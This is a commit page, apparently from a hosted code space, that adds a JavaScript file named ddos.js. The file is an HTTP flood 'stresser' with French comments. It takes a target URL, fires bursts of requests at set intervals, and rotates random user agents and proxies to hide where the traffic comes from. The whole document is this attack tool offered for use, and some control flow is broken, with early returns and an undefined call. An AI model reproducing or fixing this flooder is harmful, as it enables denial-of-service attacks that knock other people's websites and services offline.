Spaces:
Running
Running
Create ddos.js
Browse files- lib/ddos.js +167 -0
lib/ddos.js
ADDED
@@ -0,0 +1,167 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
1 |
+
const
|
2 |
+
|
3 |
+
fs = require("fs"),
|
4 |
+
|
5 |
+
UserAgent = require('user-agents'),
|
6 |
+
|
7 |
+
HttpsProxyAgent = require('https-proxy-agent');
|
8 |
+
|
9 |
+
|
10 |
+
|
11 |
+
// J'AI ESSAYER DE COMMENTER LE CODE POUR UNE FOIS X) [Que le debug j'avais la flm]
|
12 |
+
|
13 |
+
|
14 |
+
|
15 |
+
/**
|
16 |
+
|
17 |
+
* Start ddos
|
18 |
+
|
19 |
+
*
|
20 |
+
|
21 |
+
* @param {object} options - Settings/Config.
|
22 |
+
|
23 |
+
* @param {function} emitter - Function Emitter.
|
24 |
+
|
25 |
+
*/
|
26 |
+
|
27 |
+
function start(options) {
|
28 |
+
|
29 |
+
try {
|
30 |
+
|
31 |
+
|
32 |
+
|
33 |
+
if (
|
34 |
+
|
35 |
+
(!options) ||
|
36 |
+
|
37 |
+
(options && typeof options !== "object")
|
38 |
+
|
39 |
+
) return;
|
40 |
+
|
41 |
+
|
42 |
+
|
43 |
+
const {
|
44 |
+
|
45 |
+
url, // Url à down (sa peut être une ip) {OBLIFATOIRE}
|
46 |
+
|
47 |
+
interval = 1000, // Interval par reques {FACULTATIF}
|
48 |
+
|
49 |
+
max = 100, // Nombre de request max par interval [Non définie = 100] {FACULTATIF}
|
50 |
+
|
51 |
+
proxy, // Proxy, peut être un tableau ou un fichier {FACULTATIF}
|
52 |
+
|
53 |
+
} = options;
|
54 |
+
|
55 |
+
|
56 |
+
|
57 |
+
|
58 |
+
|
59 |
+
if (!url || !url.startsWith("http")) return `Merci d'entrer une url\nPS: Si c'est une ip rajouter juste le protocole et le port\n\rpar example: http://<ip>:<port>`;
|
60 |
+
|
61 |
+
|
62 |
+
|
63 |
+
const
|
64 |
+
|
65 |
+
start = new Date(),
|
66 |
+
|
67 |
+
getTime = () => {
|
68 |
+
|
69 |
+
const
|
70 |
+
|
71 |
+
now = new Date(),
|
72 |
+
|
73 |
+
diff = now - start,
|
74 |
+
|
75 |
+
seconds = Math.round(diff / 1000),
|
76 |
+
|
77 |
+
minutes = Math.floor(seconds / 60),
|
78 |
+
|
79 |
+
remainingSeconds = seconds % 60;
|
80 |
+
|
81 |
+
return (`${minutes}m ${remainingSeconds}s`)
|
82 |
+
|
83 |
+
};
|
84 |
+
|
85 |
+
return `-> {${getTime()}} Lancement du stresser sur ${url}`;
|
86 |
+
|
87 |
+
|
88 |
+
|
89 |
+
let allProxy;
|
90 |
+
|
91 |
+
if (proxy) {
|
92 |
+
|
93 |
+
if (typeof proxy === "object" && Array.isArray(proxy)) allProxy = proxy;
|
94 |
+
|
95 |
+
else if (typeof proxy === "string" && fs.existsSync(proxy)) {
|
96 |
+
|
97 |
+
const all = fs.readFileSync(proxy, "utf-8")?.split("\n");
|
98 |
+
|
99 |
+
if (all.length != 0) allProxy = all
|
100 |
+
|
101 |
+
};
|
102 |
+
|
103 |
+
if (allProxy) return `-> {${getTime()}} ${allProxy?.length || 0} Proxy chargé !`
|
104 |
+
|
105 |
+
};
|
106 |
+
|
107 |
+
const getAgent = () => {
|
108 |
+
|
109 |
+
let
|
110 |
+
|
111 |
+
agent = new UserAgent().toString(),
|
112 |
+
|
113 |
+
proxy = ((allProxy || [])[Math.floor(Math.random() * (allProxy?.length || 0))]);
|
114 |
+
|
115 |
+
if (proxy && !proxy.startsWith("http")) proxy = `http://${proxy}`;
|
116 |
+
|
117 |
+
if (proxy) agent = new HttpsProxyAgent(proxy)
|
118 |
+
|
119 |
+
return agent
|
120 |
+
|
121 |
+
};
|
122 |
+
|
123 |
+
|
124 |
+
|
125 |
+
setInterval(() => {
|
126 |
+
|
127 |
+
let yes = err = 0;
|
128 |
+
|
129 |
+
for (let i = max; i--;) {
|
130 |
+
|
131 |
+
try {
|
132 |
+
|
133 |
+
fetch(url, { agent: getAgent() })
|
134 |
+
|
135 |
+
.then(response => { if (!response.ok) { err++; return `-> {${getTime()}} Network response was not ok` } else yes++ })
|
136 |
+
|
137 |
+
.catch(error => {
|
138 |
+
|
139 |
+
return `-> {${getTime()}} There was a problem with the fetch operation:`
|
140 |
+
|
141 |
+
err++
|
142 |
+
|
143 |
+
});
|
144 |
+
|
145 |
+
} catch (error) {
|
146 |
+
|
147 |
+
call(error);
|
148 |
+
|
149 |
+
err++
|
150 |
+
|
151 |
+
}
|
152 |
+
|
153 |
+
};
|
154 |
+
|
155 |
+
console.log(`-> {${getTime()}} SUCCES: ${yes} | ERR: ${err}`);
|
156 |
+
|
157 |
+
}, interval)
|
158 |
+
|
159 |
+
|
160 |
+
|
161 |
+
} catch (error) {
|
162 |
+
|
163 |
+
return error
|
164 |
+
|
165 |
+
}
|
166 |
+
|
167 |
+
};
|